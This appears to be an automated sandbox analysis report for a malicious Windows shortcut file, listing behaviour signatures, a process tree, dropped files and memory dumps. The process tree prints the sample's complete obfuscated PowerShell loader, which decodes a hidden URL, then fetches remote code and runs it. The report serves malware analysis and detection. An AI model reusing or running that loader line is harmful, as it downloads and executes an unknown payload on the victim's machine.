Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
27/07/2026, 12:18
General
- Target photov_457696073689.lnk
- Size 1KB
- Sample260727-pg3bzastc1
- SHA256 73791b4389f4408d3cff07b4077e79a409933bc4439741ccbb29641ec00fdad6
Malware Config
Signatures
- Badlisted process makes network request 13 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 14 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_457696073689.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\git.exe"C:\Users\Admin\AppData\Local\euyuub_srlx_upd_bwaxl\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ptpqtqbo.w4q.ps1
cfioh_ji_ptohd.zip
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
msvcp140.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
zlib1.dll
DCRCVDrv.sys
memory/2412-217-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-201-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-1385-0x0000000006DF0000-0x0000000007394000-memory.dmp
memory/2412-1384-0x00000000067A0000-0x0000000006832000-memory.dmp
memory/2412-1381-0x00000000054E0000-0x0000000005546000-memory.dmp
memory/2412-127-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-197-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-199-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-130-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-131-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-133-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-136-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-137-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-139-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-141-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-118-0x0000000000400000-0x0000000000470000-memory.dmp
memory/2412-143-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-145-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-147-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-149-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-151-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-124-0x00000000051F0000-0x000000000520A000-memory.dmp
memory/2412-125-0x0000000005260000-0x000000000528C000-memory.dmp
memory/2412-126-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-237-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-240-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-235-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-233-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-231-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-230-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-228-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-225-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-224-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-221-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-220-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-153-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-215-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-213-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-211-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-209-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-207-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-205-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-203-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-155-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-195-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-194-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-191-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-189-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-187-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-186-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-184-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-181-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-180-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-177-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-176-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-173-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-171-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-169-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-167-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-165-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-164-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-161-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-159-0x0000000005260000-0x0000000005286000-memory.dmp
memory/2412-157-0x0000000005260000-0x0000000005286000-memory.dmp
memory/4436-15-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-16-0x00000242F8AA0000-0x00000242F8FC8000-memory.dmp
memory/4436-19-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-18-0x00000242F7E40000-0x00000242F7E4A000-memory.dmp
memory/4436-17-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-12-0x00000242F7E50000-0x00000242F7E74000-memory.dmp
memory/4436-21-0x00000242F81D0000-0x00000242F81E2000-memory.dmp
memory/4436-8-0x00000242F7DD0000-0x00000242F7DF2000-memory.dmp
memory/4436-14-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-9-0x00000242F83A0000-0x00000242F8562000-memory.dmp
memory/4436-0-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-11-0x00000242F7E50000-0x00000242F7E7A000-memory.dmp
memory/4436-10-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4436-13-0x00000242F5BE0000-0x00000242F5BF0000-memory.dmp
memory/4712-98-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5076-119-0x00007FF7376A0000-0x00007FF737B0F000-memory.dmp
memory/5076-123-0x00007FFFA6570000-0x00007FFFA6596000-memory.dmp
memory/5076-121-0x00007FFFA69A0000-0x00007FFFA69F2000-memory.dmp
memory/5076-120-0x00007FFFA60E0000-0x00007FFFA6196000-memory.dmp
memory/5076-122-0x00007FFF99D90000-0x00007FFF99EAF000-memory.dmp
memory/5884-751-0x0000000000740000-0x00000000007B0000-memory.dmp